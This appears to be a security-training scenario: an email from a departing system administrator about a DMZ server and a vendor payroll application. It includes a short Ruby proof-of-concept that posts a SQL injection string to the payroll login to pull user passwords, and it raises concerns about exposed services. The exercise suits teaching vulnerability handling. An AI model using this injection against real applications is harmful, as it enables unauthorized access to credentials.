**DMZ Server Concerns**

Before resigning from the organization to take a job out of state, Shannon Garland (the system administrator that managed the DMZ server) provided a list of concerns to the IASO. This communication was emailed while the IASO was out on a short vacation, so the team is now responding to the information. The Organization’s current system administrator is assigned responsibility over the Domain Controller and now the DMZ Server, and will need to work with the Vulnerability Manager to investigate and/or address concerns.

From: [Shannon.Garland@gmips.gov](mailto:Shannon.Garland@gmips.gov)

To: [Jimmie.Potter@gmips.gov](mailto:Jimmie.Potter@gmips.gov)

Subject: DMZ Server Concerns

Jimmie, I would love to stay and help address the issues I have observed on the new DMZ Server and Payroll Application but since I’m leaving next week I wanted to at least give you the information I have so far. I’m sure Vanessa can get these figured out and fixed.

1. Payroll Application- I’m not an expert with PHP, but the code that we were provided by the vendor just looked to simple. I started to experiment and have a proof-of-concept that you can use as a starting point. I think this explains some of my concern:

require 'net/http'

url = "http://127.0.0.1/payroll\_app.php"

uri = URI(url)

user = 'Shannon.Garland'

injection = "password'; select password from users where username='' OR ''='"

puts "Making POST request to #{uri} with the following parameters:"

puts "'user' = #{user}"

puts "'password' = #{injection}"

res = Net::HTTP.post\_form(uri, 'user' => user, 'password' => injection, 's' => 'OK')

puts "Response body is #{res.body}"

puts "Done"

1. Risky Services/Unused services? I noticed a lot of things running on the server and I’m not sure that they all should be. I think we need to really take a look at what is exposed and if there are any risks to those services. Also, what are our policies on administration or remote access? Do we have any? I think that’s something to think about.